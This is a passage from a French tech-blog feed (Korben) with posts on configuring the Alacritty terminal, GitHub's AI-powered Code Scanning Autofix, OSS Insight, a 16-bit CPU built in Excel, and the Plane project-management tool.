Après la théorie, passons à la pratique. Pour l’installer, c’est ultra simple. Si vous êtes sur macOS ou Windows, direction la page des releases GitHub pour chopper le binaire. Sous Linux ou BSD, il est sûrement déjà dans le gestionnaire de paquets de votre distrib. Sinon, les instructions détaillées vous expliqueront comment compiler depuis les sources.

Une fois installé, pas besoin de vous embêter à configurer, les options par défaut sont déjà pas mal. Mais si vous voulez quand même mettre votre patte, le fichier de config en TOML se trouve, en fonction de votre OS, dans $XDG_CONFIG_HOME/alacritty, $HOME/.config/alacritty ou %APPDATA%\alacritty.

Par exemple, pour l’installer sous macOS, vous pouvez faire également :

brew install --cask alacritty

Puis créer un fichier de config comme ceci :

mkdir -p ~/.config/alacritty && touch ~/.config/alacritty/alacritty.toml

Voici un exemple de config à mettre dedans pour obtenir un truc comme ça :

# Configuration du shell et des variables d'environnement
shell = { program = "/bin/zsh", args = ["-l"] }

[env]
TERM = "xterm-256color"

# Activation du rechargement dynamique de la configuration
#live_config_reload = true

# Configuration de la fenêtre pour un look minimaliste et semi-transparent
[window]
decorations = "buttonless"
dynamic_padding = false
opacity = 0.9
padding = { x = 25, y = 20 }

# Configuration de la police personnalisée avec styles spécifiques pour différents états du texte
[font]
size = 20.0
[font.normal]
family = "JetBrains Mono"
style = "Medium"
[font.bold]
family = "JetBrains Mono"
style = "Heavy"
[font.italic]
family = "JetBrains Mono"
style = "Medium Italic"
[font.bold_italic]
family = "JetBrains Mono"
style = "Heavy Italic"

# Configuration des couleurs
[colors]
[colors.primary]
background = '#282a36' # Arrière-plan foncé
foreground = '#f8f8f2' # Texte clair
[colors.cursor]
text = 'CellBackground'
cursor = '#ff79c6' # Couleur du curseur
[colors.selection]
text = 'CellBackground'
background = '#44475a'

# Configuration du curseur
[cursor]
style = { shape = "Block", blinking = "On" }
thickness = 0.25

# Ajout de raccourcis clavier pour améliorer l'efficacité
[keyboard]
bindings = [
  { key = 'N', mods = 'Control|Shift', action = 'CreateNewWindow' },
  { key = 'C', mods = 'Control|Shift', action = 'Copy' },
  { key = 'V', mods = 'Control|Shift', action = 'Paste' },
  { key = '+', mods = 'Control', action = 'IncreaseFontSize' },
  { key = '-', mods = 'Control', action = 'DecreaseFontSize' },
  { key = '0', mods = 'Control', action = 'ResetFontSize' }
]

Mais du coup, c’est vraiment le terminal le plus rapide ?

Difficile à dire… Mesurer les perfs d’un terminal, c’est compliqué. Sur les benchmarks, en tout cas, Alacritty s’en sort bien, surtout grâce à l’accélération GPU. Après, sur des critères plus subjectifs comme la latence ou la fluidité de l’affichage, difficile de départager les challengers. Le mieux est de l’essayer et de voir s’il convient à VOS usages.

Par contre, ne vous attendez pas à retrouver toutes les fonctionnalités de terminaux plus anciens. Pas de tabs, pas de splits, Alacritty se concentre sur son cœur de métier. Pour ces features, votre gestionnaire de fenêtres ou un multiplexeur comme tmux feront très bien l’affaire. Et si vous voulez faire un peu de customisation, il faudra vous plonger dans la doc.

Après, si jamais il vous manque un truc indispensable, le projet est ouvert aux contributions. Alacritty est d’ailleurs distribué sous licence Apache 2.0. Donc si vous vous sentez de rajouter ce p’tit truc manquant, la communauté vous accueillera à bras ouverts. Comme quoi, y’a pas que Microsoft qui sait faire dans l’open source ! mdr.

En attendant de voir vos pull requests pleuvoir sur ce projet, je ne peux que vous conseiller de tester Alacritty. Vous verrez, c’est le genre d’outil auquel on s’habitue vite et qui change la vie. Bon OK, ça reste un terminal, faut pas exagérer non plus. N’empêche que depuis que j’ai goûté à la fluidité de son rendu, j’avoue que j’aurais du mal à revenir en arrière !

Merci à Lorenper

  • ✇Korben
  • Code Scanning Autofix – GitHub lance la correction de vulnérabilités par IA
    Les failles de sécurité dans le code sont le cauchemar des développeurs et des équipes de sécurité et font surtout le régal des hackers. Alors pour y remédier, GitHub a décidé de sortir l’artillerie lourde avec Code Scanning Autofix ! Attention les yeux, cet outil mêle IA et analyse statique et nous fait la promesse de corriger les vulnérabilités en un clin d’œil pendant que vous codez. Concrètement, Code Scanning Autofix (actuellement en bêta publique) est activé par défaut sur tous les d

Code Scanning Autofix – GitHub lance la correction de vulnérabilités par IA

Par : Korben
21 mars 2024 à 11:09

Les failles de sécurité dans le code sont le cauchemar des développeurs et des équipes de sécurité et font surtout le régal des hackers. Alors pour y remédier, GitHub a décidé de sortir l’artillerie lourde avec Code Scanning Autofix ! Attention les yeux, cet outil mêle IA et analyse statique et nous fait la promesse de corriger les vulnérabilités en un clin d’œil pendant que vous codez.

Concrètement, Code Scanning Autofix (actuellement en bêta publique) est activé par défaut sur tous les dépôts privés des clients GitHub Advanced Security. Et devinez quoi ? Il gère déjà plus de 90% des types d’alertes pour JavaScript, TypeScript, Java et Python. De quoi mettre une sacrée claque à la dette de sécurité applicative !

En coulisse, cette magie opère grâce à deux technologies de pointe made in GitHub : Copilot pour l’IA et CodeQL pour l’analyse statique. Une fois Code Scanning Autofix activé, il vous propose des correctifs quasi tout cuits qui sont censés régler les deux tiers des vulnérabilités détectées, le tout sans trop d’efforts de votre part.

Voici un exemple de correctif proposé :

Pour chaque faille repérée dans un des langages pris en charge, vous obtenez une explication en langage naturel du correctif suggéré, avec un aperçu du bout de code à valider, modifier ou rejeter. Cela peut inclure des changements dans le fichier en cours, d’autres fichiers, voire des dépendances du projet. Bien entendu, vous gardez le contrôle et pouvez vérifier si le correctif résout bien le problème sans casser la fonctionnalité.

L’intérêt est donc de décharger les experts en sécurité de la fastidieuse traque aux vulnérabilités introduites pendant le développement. Ils pourront alors se concentrer sur la sécurité globale de leur projet.

GitHub promet d’étendre prochainement Code Scanning Autofix à d’autres langages, en commençant par C# et Go. Et pour en savoir plus, foncez sur la doc de GitHub !

Source

  • ✇Korben
  • OSS Insight – Explorez et comparez les dépôts GitHub en un clin d’oeil
    Vous le savez, je suis un grand amateur et un grand défenseur des logiciels libres et Open Source. Et je n’ai pas peur de le dire, GitHub est l’un de mes sites préférés. On y trouve des pépites comme des scripts incroyables, des outils géniaux et j’adore ça ! Mais ce n’est pas forcément toujours simple de suivre tout ce qui se passe dans cet univers. Enfin, ça, c’était avant parce qu’il existe un site génial qui s’appelle OSS Insight et qui offre des informations très détaillées et des

OSS Insight – Explorez et comparez les dépôts GitHub en un clin d’oeil

Par : Korben
29 janvier 2024 à 09:00

Vous le savez, je suis un grand amateur et un grand défenseur des logiciels libres et Open Source. Et je n’ai pas peur de le dire, GitHub est l’un de mes sites préférés.

On y trouve des pépites comme des scripts incroyables, des outils géniaux et j’adore ça ! Mais ce n’est pas forcément toujours simple de suivre tout ce qui se passe dans cet univers.

Enfin, ça, c’était avant parce qu’il existe un site génial qui s’appelle OSS Insight et qui offre des informations très détaillées et des tendances sur le monde de l’open source en analysant plus de 5 milliards de lignes d’événements GitHub.

Il fournit une nouvelle façon d’explorer les données GitHub en posant simplement des questions en langage naturel, ce qui est extrêmement pratique quand on veut comparer les choses.

Par exemple, OSS Insight vous permet de comparer deux dépôts à partir des mêmes indicateurs, tels que les étoiles, les forks, les issues, les commits, les pull requests, le nombre de contributeurs, les langages de programmation utilisés ou encore les lignes de code modifiées.

Imaginez que vous travaillez sur un projet et que vous souhaitez comparer deux bibliothèques open source pour déterminer laquelle est la plus populaire et la mieux maintenue. Et bien il suffit de lui demander.

Mais ça ne s’arrête pas à ça. Voici quelques exemples de questions que les gens posent à l’outil :

En plus de cela, OSS Insight offre des informations sur les tendances techniques mensuelles avec des listes de dépôts à découvrir.

Comme ça, vous pouvez suivre de près certains types d’outils populaires, comme les bases de données, les frameworks JavaScript ou encore les outils liés aux LLM. Vous pouvez également obtenir des analyses sur la productivité des développeurs et les statistiques des dépôts.

Pour tester le OSS Insight, il vous suffit de vous rendre sur leur site web et de plonger dans cet océan de données.

  • ✇Korben
  • Un ordinateur 16-bits dans Excel
    Voici un projet vraiment original mené par le youtubeur Inkbox qui a tout simplement conçu un ordinateur entièrement dans Microsoft Excel. Le tout sans recourir à des scripts Visual Basic, des plugins, ou toute autre aide-externe. Ce système 16-bits, fonctionnant sur une simple feuille de calcul, repose sur une architecture composée d’instruction personnalisée, comprenant 23 mnémoniques d’instruction et 26 opcodes. C’est super ingénieux ! Le design principal du CPU se divise en pl

Un ordinateur 16-bits dans Excel

Par : Korben
28 janvier 2024 à 17:04

Voici un projet vraiment original mené par le youtubeur Inkbox qui a tout simplement conçu un ordinateur entièrement dans Microsoft Excel. Le tout sans recourir à des scripts Visual Basic, des plugins, ou toute autre aide-externe.

Ce système 16-bits, fonctionnant sur une simple feuille de calcul, repose sur une architecture composée d’instruction personnalisée, comprenant 23 mnémoniques d’instruction et 26 opcodes.

C’est super ingénieux !

Le design principal du CPU se divise en plusieurs unités : une unité de récupération, une unité de contrôle, une unité logique arithmétique, un fichier registre, une unité PC, plusieurs multiplexeurs, une unité de contrôle de la mémoire, une table de RAM de 128KB, et un affichage de 128×128 en 16 couleurs.

Ce projet, disponible sur GitHub sous le nom « excelCPU« , inclut plusieurs fichiers principaux comme le CPU lui-même, une ROM, un ensemble d’instructions détaillées, un compilateur pour Excel-ASM16, et un dossier de programmes d’exemple.

Cette conception est non seulement un tour de force en matière de programmation, mais elle ouvre également de nouvelles perspectives sur les capacités d’Excel en tant qu’outil de développement. Pour vous dire à quel point c’est balèse, le CPU fonctionne à partir d’un simple signal d’horloge et peut être contrôlé en mode automatique ou manuel, avec diverses options pour réinitialiser la RAM, lire la ROM, et exécuter des programmes. Et bien sûr, les utilisateurs de cet « ordinateur » peuvent également écrire des programmes dans le langage Excel-ASM16 et les compiler sur la feuille de calcul ROM.xlsx.

Bref, on n’arrête pas la bidouille de l’extrême !

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  • Plane – Une bonne alternative à JIRA, Asana ou Linear pour mener vos projets à bien !
    Vous êtes vous déjà demandé pourquoi tous vos projets partaient en couille ? C’est probablement parce que vous n’avez pas encore trouvé le bon outil pour les planifier ! C’est pourquoi aujourd’hui, je tiens à vous présenter un projet open source à autohéberger qui s’appelle Plane ! Oui, comme l’avion. Bien qu’encore en développement, cet outil, est déjà suffisamment cool pour vous donner envie de l’utiliser afin de suivre vos tâches, vos sprints et autres feuilles de route. L’inte

Plane – Une bonne alternative à JIRA, Asana ou Linear pour mener vos projets à bien !

Par : Korben
18 janvier 2024 à 09:00

Vous êtes vous déjà demandé pourquoi tous vos projets partaient en couille ?

C’est probablement parce que vous n’avez pas encore trouvé le bon outil pour les planifier ! C’est pourquoi aujourd’hui, je tiens à vous présenter un projet open source à autohéberger qui s’appelle Plane !

Oui, comme l’avion. Bien qu’encore en développement, cet outil, est déjà suffisamment cool pour vous donner envie de l’utiliser afin de suivre vos tâches, vos sprints et autres feuilles de route.

L’interface est plutôt agréable et vous permettra d’afficher les projets, d’y ajouter des pièces jointes, de créer des workflows maison, mais également d’importer toutes les tâches directement depuis d’autres outils comme Github ou Jira. Et bien sûr recevoir des notifs dans Slack, Discord et vos propres outils puisqu’il y a même une API.

Vous pouvez également utiliser des cycles pour planifier des sprints, diviser les projets en modules et créer des filtres personnalisés pour trier les informations comme bon vous semble. Plane offre également la possibilité de faire de la documentation directement au fur et à mesure du développement de votre projet et tout s’intègre parfaitement à Github pour conserver à la fois votre code et vos issues synchronisées avec Plane.

Vous verrez, Plane est assez plaisant à prendre en main puisqu’il y a même Command K, un genre d’interface rapide à Spotlight pour chercher des tâches, créer de nouvelles actions….etc. sans oublier un petit bloc-notes propulsé à base de ChatGPT pour les grosses feignasses qui n’aiment pas écrire.

Si ça vous branche, il n’y a plus qu’à découvrir Plane et kiffer la vie de projets ! Pour apprendre à l’installer avec Docker, c’est par ici.

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